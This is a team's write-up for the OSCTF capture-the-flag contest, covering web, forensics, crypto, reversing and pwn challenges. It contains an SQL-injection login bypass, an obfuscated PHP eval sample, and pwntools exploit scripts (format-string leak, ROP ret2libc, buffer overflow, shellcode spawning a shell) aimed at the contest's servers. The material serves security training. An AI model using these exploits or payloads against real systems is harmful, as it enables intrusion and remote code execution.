Post

OSCTF writeup

This CTF was organized by OSCTF team, Altered Security.

Our team managed to solve 47/60 challenges in this CTF.
:star: CREDITS: ckc9759, akaniii, noobobfuscator, ayussshhhh, nop_nop_0x90, .bitbasher

Access all the required challenge files here

WEB

Introspection

desc

Moving to the challenge page - page Checked the source code, opened the script.js file and got the flag source flag

Style Query Listing...?

desc

We are presented with a login page - login The login page is vulnerable to SQL injection, i.e. we are able to login just by passing ' or '1'='1'-- - in the username parameter and a random password in the password field. In the profile page, on clicking on the Show profile information button, we are getting a fake flag. profile Just went to the /admin endpoint and got the flag. flag

Heads or Tails?

desc

Moving to the URL, it just said - page And there was nothing is source code too, so the only thing that we can do here is directory bruteforcing.
The hint in the challenge said -

hint

So, we can make a wordlist that includes words like - head-flag, put-flag, get-admin, get-flag etc..
We can use a script like -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http_methods = ["get", "post", "put", "delete", "head", "connect", "options", "trace", "patch"]
ctf_words = [
    "flag", "admin", "login", "upload", "download", "register", "secret", "hidden",
    "password", "secure", "user", "account", "file", "directory", "config", "shell",
    "root", "backup", "data", "info", "access", "system", "control", "manage",
    "session", "token", "auth", "verify", "exploit", "vulnerability"
]


wordlist = [f"{method}-{word}" for method in http_methods for word in ctf_words]


with open("wordlist.txt", "w") as f:
    for entry in wordlist:
        f.write(entry + "\n")

Now, we can bruteforce using the generated wordlist, but it actually didn’t work with normal GET requests, as the challenge name says - Heads or Tails? which might be pointing towards making a HEAD request.
On bruteforcing with HEAD requests, got the flag at /get-flag endpoint or, you can just make a little guess, and make a curl request to that endpoint flag

Indoor WebApp

desc

Moving to the challenge page - page We can see, that it is using the user_id parameter to load the profile. On changing the user_id to 2, got the flag. flag

Action Notes

desc

Again a kind of guessy challenge. Moving to the challenge page, we have register and login option. I simply registered and logged in using those credentials. page register login login Tested the Add Note feature, but didn’t found anything interesting, and also doing directory bruteforcing, didn’t give any interesting results as such.
But after doing login bruteforcing, considering the username as admin got a valid password, and on logging in using those credentials, got the flag. password flag

FORENSICS

The Lost Image Mystery

desc

The given image is corrupted. On looking at the hex-data, seems like a JPG image. hexdata On changing the intial hex data to - FF D8 FF E0 00 10 4A 46 49 46 00 01, we are able to open the image which has flag in it. flag

The Hidden Soundwave

desc

If you hear the given song completely, then you will notice, that there are some distortions towards the ending of the song.
On opening the audio file in Sonic Visualizer, and then adding a spectogram layer, from the Layer option, we get the flag. flag

Mysterious Website Incident

desc

On analyzing the file, we can notice, that most of the requests are using http protocol, so on grepping for https, got a drive link. drive Going to the drive link, gives us the flag. flag

Cyber Heist Conspiracy

desc

We are given a pcap file. Though we can analyze the PCAP file, using wireshark, but just doing strings gave us the flag 🫠 flag

Phantom Script Intrusion

desc

We are given obfuscated PHP code -

1
2
<?php
 goto Ls6vZ; apeWK: ${"\x76\141\x72\61"} = str_rot13("\x24\x7b\x22\134\x78\x34\x37\134\x78\x34\143\x5c\x78\64\x66\x5c\170\x34\x32\134\x78\64\61\x5c\170\x34\x63\134\x78\x35\x33\42\x7d"); goto G9fZX; Ls6vZ: ${"\x47\x4c\x4f\x42\101\114\123"} = "\150\x58\x58\x70\x73\72\x2f\57\163\150\x30\162\164\x75\x72\x6c\56\x61\164\x2f\x73\x31\146\x57\62"; goto apeWK; XT2kv: if (strlen(${"\x76\141\x72\x32"}) > 0) { ${"\166\x61\x72\x33"} = ${"\x76\x61\x72\x32"}; } else { ${"\166\141\x72\63"} = ''; } goto ZYamk; V2P3O: foreach (str_split(${"\166\141\x72\x33"}) as ${"\166\x61\x72\x35"}) { ${"\166\141\162\x34"} .= chr(ord(${"\166\141\162\65"}) - 1); } goto Ly_yq; G9fZX: ${"\x76\141\162\x32"} = base64_decode(${${"\166\x61\162\x31"}}); goto XT2kv; Ly_yq: eval(${${"\x76\x61\x72\x34"}}); goto IFMxz; ZYamk: ${"\166\141\162\64"} = ''; goto V2P3O; IFMxz: ?> 

We can try to deobfuscate the PHP code, manually as it is pretty much understandable. manual decode Or, we can also use onliner decoder such as - https://www.unphp.net/ url As, we got a URL, we can fix this. The URL should be - https://shorturl.at/s1fW2
Visiting the URL, we get the flag. flag

PDF Puzzle

desc

We are given a PDF file. On using pdftohtml to convert it to HTML, got the flag in the meta tag. flag

Seele Vellorei

desc

We are given word file. On running binwalk on it - binwalk docx files, are also zip files. If we unzip it, the word/ folder contains the document.xml file which has the main document content and other related parts like styles, fonts and settings.
On grepping for the flag, in that file, we got the flag. flag

qRc0dE

desc

We are given a QR code -

qrcode

Now, we can use this tool to manually build the QR code.
Here are the steps - blank And then we can load the image we are given, as sample. Now, we first need to set the correct version, Error correction level and Mask Pattern.
We can check them one by one, and compare that with the given QR code. In this case, the version was 3, ECC level L, and Mask Pattern 3 qrcode Now, we can manually fill the pixels pixels After that, on extracting QR code information, still didn’t got the complete and correct flag. Used Reed-Solomon Decoder

reed not_flag

After doing some corrections in the flag, this flag - OSCTF{r3c0v3R_qR_C0de_1s_s0_fUn} worked.

CRYPTO

Couple Primes

desc

We are given a ciphertext file, and the main encryption code -

1
2
3
4
##cipher file

n = 20159884168863899177128175715030429666461733285660170664255048579116265087763268748333820860913271674586980839088092697230336179818435879126554509868570255414201418619851045615744211750178240471758695923469393333600480843090831767416937814471973060610730578620506577745372347777922355677932755542699210313287595362584505135967456855068550375989801913361017083952090117041405458626488736811460716474071561590513778196334141517893224697977911862004615690183334216587398645213023148750443295007000911541566340284156527080509545145423451091853688188705902833261507474200445477515893168405730493924172626222872760780966427
c = 18440162368010249375653348677429595229051180035668845001125855048750591059785630865891877031796050869136099359028540172514890273415892550857190509410541828375948243175466417949548148007390803680005616875833010137407850955608659023797782656930905693262770473679394796595557898347900786445803645539553815614140428316398058138450937721961593146082399553119578102712100359284788650328835784603011091312735813903241087475279011862693938914825685547337081335030237385061397899718079346063519325222861490101383929790275635381333028091769118083102339908694751574572782030287570280071809896532329742115422479473386147281509394
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## source.py file

from Crypto.Util.number import *
from sympy import nextprime

flag = b'REDACTED'

p = getPrime(1024)
q = nextprime(p)
e = 65537

n = p * q
c = pow(bytes_to_long(flag), e, n)

print(f"n = {n}")
print(f"c = {c}")

We can see that it is using nextprime function, which finds the next prime number, greater than p. So, both the primes might be close to each other.
So, we can use Fermat Theorem, to determine the factors, and decrypt the ciphertext. Here is the solve script for it -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from math import isqrt, gcd
from Crypto.Util.number import long_to_bytes

def fermat_factorization(n):

    """Fermat's factorization method to find factors of n."""
    
    assert n % 2 != 0, "n must be odd for Fermat's factorization."

    a = isqrt(n)
    
    if a * a == n:
        return a, a  # n is a perfect square

    while True:
        a += 1        # increasing the value of a by 1 each time until b2 becomes perfect square.
        b2 = a * a - n
        b = isqrt(b2)
        
        # Check if b^2 == b2 (i.e., b2 is a perfect square)
        if b * b == b2:
            p = a + b
            q = a - b
            return p, q

def fermat_attack(n, e, c):
    """Perform Fermat's attack given n, e, and c."""
    p, q = fermat_factorization(n)
    
    # Ensure we have the correct factors
    assert p * q == n, "Failed to factor n correctly."

    # Compute the private key components
    phi_n = (p - 1) * (q - 1)
    d = pow(e, -1, phi_n)

    # Decrypt the ciphertext
    m = pow(c, d, n)

    # Convert to a readable format
    try:
        plaintext = long_to_bytes(m)
    except Exception as e:
        plaintext = f"Decryption failed: {e}"

    return plaintext

n = 20159884168863899177128175715030429666461733285660170664255048579116265087763268748333820860913271674586980839088092697230336179818435879126554509868570255414201418619851045615744211750178240471758695923469393333600480843090831767416937814471973060610730578620506577745372347777922355677932755542699210313287595362584505135967456855068550375989801913361017083952090117041405458626488736811460716474071561590513778196334141517893224697977911862004615690183334216587398645213023148750443295007000911541566340284156527080509545145423451091853688188705902833261507474200445477515893168405730493924172626222872760780966427  
e = 65537
c =  18440162368010249375653348677429595229051180035668845001125855048750591059785630865891877031796050869136099359028540172514890273415892550857190509410541828375948243175466417949548148007390803680005616875833010137407850955608659023797782656930905693262770473679394796595557898347900786445803645539553815614140428316398058138450937721961593146082399553119578102712100359284788650328835784603011091312735813903241087475279011862693938914825685547337081335030237385061397899718079346063519325222861490101383929790275635381333028091769118083102339908694751574572782030287570280071809896532329742115422479473386147281509394 

plaintext = fermat_attack(n, e, c)
print("Recovered plaintext:", plaintext)

On running the code, we get the flag.
There is also a more short version of the above code using gmpy2 library

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
import gmpy2
n=20159884168863899177128175715030429666461733285660170664255048579116265087763268748333820860913271674586980839088092697230336179818435879126554509868570255414201418619851045615744211750178240471758695923469393333600480843090831767416937814471973060610730578620506577745372347777922355677932755542699210313287595362584505135967456855068550375989801913361017083952090117041405458626488736811460716474071561590513778196334141517893224697977911862004615690183334216587398645213023148750443295007000911541566340284156527080509545145423451091853688188705902833261507474200445477515893168405730493924172626222872760780966427
e=65537
c=18440162368010249375653348677429595229051180035668845001125855048750591059785630865891877031796050869136099359028540172514890273415892550857190509410541828375948243175466417949548148007390803680005616875833010137407850955608659023797782656930905693262770473679394796595557898347900786445803645539553815614140428316398058138450937721961593146082399553119578102712100359284788650328835784603011091312735813903241087475279011862693938914825685547337081335030237385061397899718079346063519325222861490101383929790275635381333028091769118083102339908694751574572782030287570280071809896532329742115422479473386147281509394

def fermat_factors(n):
    assert n % 2 != 0
    a = gmpy2.isqrt(n)
    b2 = gmpy2.square(a) - n
    while not gmpy2.is_square(b2):
        a += 1
        b2 = gmpy2.square(a) - n
    factor1 = a + gmpy2.isqrt(b2)
    factor2 = a - gmpy2.isqrt(b2)
    return int(factor1), int(factor2)

p,q=fermat_factors(n)
print(p,q)

phi=(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))

Efficient RSA

desc

We are given a python file, that consists of the encryption code and a ciphertext -

1
2
3
4
5
6
7
8
9
10
11
12
13
# chall.py
from Cryptodome.Util.number import getPrime, bytes_to_long

Flag = bytes_to_long(b"REDACTED")

p = getPrime(112)
q = getPrime(112)
n = p*q
e = 65537

ciphertext = pow(Flag, e, n)

print([n, e, ciphertext])
1
2
3
## encrypted.txt file

[13118792276839518668140934709605545144220967849048660605948916761813, 65537, 8124539402402728939748410245171419973083725701687225219471449051618]

So, here is the simple solve script, just using the concept of RSA decryption -

1
2
3
4
5
6
7
from Crypto.Util.number import *
n,e,c=[13118792276839518668140934709605545144220967849048660605948916761813, 65537, 8124539402402728939748410245171419973083725701687225219471449051618]
p=3058290486427196148217508840815579 #factordb
q=4289583456856434512648292419762447
phi=(p-1)*(q-1)
d=pow(e,-1,phi)
print(long_to_bytes(pow(c,d,n)))

flag

REVERSING

Avengers Assemble

desc

We are given a file - code.asm. Contents of the file -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
asm
extern printf
extern scanf

section .data
        fmt: db "%ld",0
        output: db "Correct",10,0
        out: db "Not Correct",10,0
        inp1: db "Input 1st number:",0
        inp2: db "Input 2nd number:",0
        inp3: db "Input 3rd number:",0

section .text
        global main
 
        main:
        push ebp
        mov ebp,esp
        sub esp,0x20
 
        push inp1
        call printf
        lea eax,[ebp-0x4]
        push eax
        push fmt
        call scanf

        push inp2
        call printf
        lea eax,[ebp-0xc]
        push eax
        push fmt
        call scanf

        push inp3
        call printf
        lea eax,[ebp-0x14]
        push eax
        push fmt
        call scanf

        mov ebx, DWORD[ebp-0xc]
        add ebx, DWORD[ebp-0x4]
        cmp ebx,0xdeadbeef
        jne N

        cmp DWORD[ebp-0x4], 0x6f56df65
        jg N

        cmp DWORD[ebp-0xc], 0x6f56df8d
        jg N
        cmp DWORD[ebp-0xc], 0x6f56df8d
        jl N

        mov ecx, DWORD[ebp-0x14]
        mov ebx, DWORD[ebp-0xc]
        xor ecx, ebx
        cmp ecx, 2103609845
        jne N
        jmp O

        N:
        push out
        call printf
        leave
        ret

        O:
        push output
        call printf

        leave
        ret

So, the above assembly code, is doing the following checks -

1
2
3
4
input1 + input2 == 0xdeadbeef
input1 <= 0x6f56df65
input2 == 0x6f56df8d
input3 ^ input2 == 2103609845

We have the value of input2, so we can easily get the value of input1 and input3 input So, the flag would be - OSCTF{1867964258_1867964301_1867964301}

Gophers Language

desc

We are given a main.exe file.
Don’t know, whether it was intended or not, but got the flag, just by doing strings and grepping for the flag. flag

Another Python Game

desc

Access the challenge file here.
We are given two files. Opened source.exe in Ghidra, there were a lot of functions. On looking at the strings, found that it the EXE is packed using pyinstaller. pyinstaller If we search the web to unpack the EXE - results So, we can use the tool pyinstxtractor to extract the python code from the EXE unpack We can see, that it says possible entry point to be source.pyc file. Now, source.pyc is a Python compiled file, so we can grep for the flag, or we can also decompile it using uncompyle6, but before that you need to install it using pip install uncompyle6 grep Using uncompyle6 uncompile flag

The Broken Sword

desc

We just need to reverse the given python file. We have some values provided in the variables.txt file

1
2
3
4
5
##variables.txt file

The message is b'\x0c\x07\x9e\x8e/\xc2'
a1 is: 899433952965498
h is: 0.0028203971921452278
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#Challenge.py file

from Crypto.Util.number import *
from secret import flag,a,v2,pi

z1 = a+flag
y = long_to_bytes(z1)
print("The message is",y)
s = ''
s += chr(ord('a')+23)
v = ord(s)
f = 5483762481^v
g = f*35


r = 14
l = g
surface_area= pi*r*l
w = surface_area//1
s = int(f)
v = s^34
for i in range(1,10,1):
    h = v2*30
    h ^= 34
    h *= pi
    h /= 4567234567342
a += g+v2+f
a *= 67 
al=a
print("a1:",al)
print('h:',h)

Solve script -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import bytes_to_long

y = b'\x0c\x07\x9e\x8e/\xc2'
z1 = bytes_to_long(y)
print(f'Z1: {z1}')

v = 120
f = 5483762481 ^ v

h = 0.0028203971921452278
pi = 3.14
v2 = (int((h*4567234567342)/pi)%34)//30
print("v2: " , v2)
g=f*35

a1 = 899433952965498
a= a1//67 - (g+v2+f)

flag = z1 - a

print("flag:", flag)
print("a:", a)
print("v2:", v2)

PWN

Leaky Pipes

desc

On opening the binary in Ghidra, we can clearly see that there is a format string vulnerability - vuln As the content of local_cc is directly passed as the format string to printf. If local_cc contains any format specifiers (%s, %x, %p, etc.), printf will interpret them and attempt to read additional arguments from the stack.
So, we can easily exploit this, by printing out the values in stack, and looking for the flag.
We can use a script as below, that prints the string from location 1 to 50 on the stack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

result = ''
for i in range(1, 50):
    conn = remote('34.125.199.248', 1337)
    fmt_str = f'%{i}$s'
    
    conn.sendlineafter(b'Tell me your secret so I can reveal mine ;) >> ', fmt_str.encode())
    response = conn.recvline()
    print(response.decode('latin-1'))
    
    try:
        response = conn.recvline()
        print(response.decode('latin-1').strip())
    except EOFError:
        print("Connection closed by server")

    conn.close()

print(result)

And got the flag - flag We can also pass the input manually. We can pass ‘%x’ which will print the output in the form of unsigned hexadecimal integers. hex_val Then on converting from hex - string It looks reversed though, so we can just reverse each 4 bytes of the string. flag1

Byte Breakup

desc

Here is the solve script for this challenge -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
elf = context.binary = ELF('./vuln',checksec=False)
libc = ELF('./libc.so.6')
#p = process('./vuln')
p = remote('34.125.199.248',6969)
rop = ROP(elf)
rop.puts(elf.got.gets)
rop.main()

payload = b'A'*40
payload += rop.chain()
p.recvuntil(b'password: \n')
p.sendline(payload)

p.recvuntil(b'password\n\n')
#print(p.recvline().strip())
leak = u64(p.recvline().strip().ljust(8,b'\x00'))
libc.address = leak - libc.sym.gets
print(hex(leak))
print(hex(libc.address))
binsh = next(libc.search(b'/bin/sh'))
rop1 = ROP(libc)
rop1.call(rop.find_gadget(['ret'])[0])
rop1.system(binsh)
payload = b'A'*40
payload += rop1.chain()
p.sendline(payload)
p.interactive()

Though there is a better and shorter way to solve this.
On running the above code, got the flag - flag

Buffer Buffet

desc

Solve script used -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

hostname = '34.125.199.248'
port = 4056

conn = remote(hostname, port)

conn.recvuntil(b'Enter some text:')

# payload
padding = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHAAAABBBBCCCCDDDD'
address = p64(0x00000000004011d6)  # Address in little-endian format

payload = padding + address

# Send the payload
conn.sendline(payload)

# Interact with the service
conn.interactive()

On running the above code, got the flag - flag

seed sPRING

desc

Solve script -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from ctypes import CDLL
from math import floor
import time

libc = CDLL("libc.so.6")

# Get current time
now = floor(time.time())
libc.srand(now)

# Launch the process
#io = process('./seed_spring')
io = remote('34.125.199.248', 2534)
# Predict and send the correct values 30 times
for level_num in range(1, 31):
    io.recvuntil("Guess the height:")
    predicted_value = libc.rand() & 0xf
    print(f"Predicted value for level {level_num}: {predicted_value}")
    io.sendline(str(predicted_value))

print(io.recvline())  
print(io.recvline())
# Interact with the process to get the flag
io.interactive()

flag

ShellMischief

desc

Solve script -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(arch='i386', os='linux', endian='little', word_size=32)

#io = process('./vuln')  # Replace with the actual binary name
io = remote('34.125.199.248', 1234)
shellcode = asm(shellcraft.sh())

buffer_size = 512  
nop_sled = b'\x90' * (buffer_size - len(shellcode))

payload = nop_sled + shellcode

io.recvuntil("Enter your shellcode:")
io.sendline(payload)  # Send the payload

io.interactive()

flag

This post is licensed under CC BY 4.0 by the author.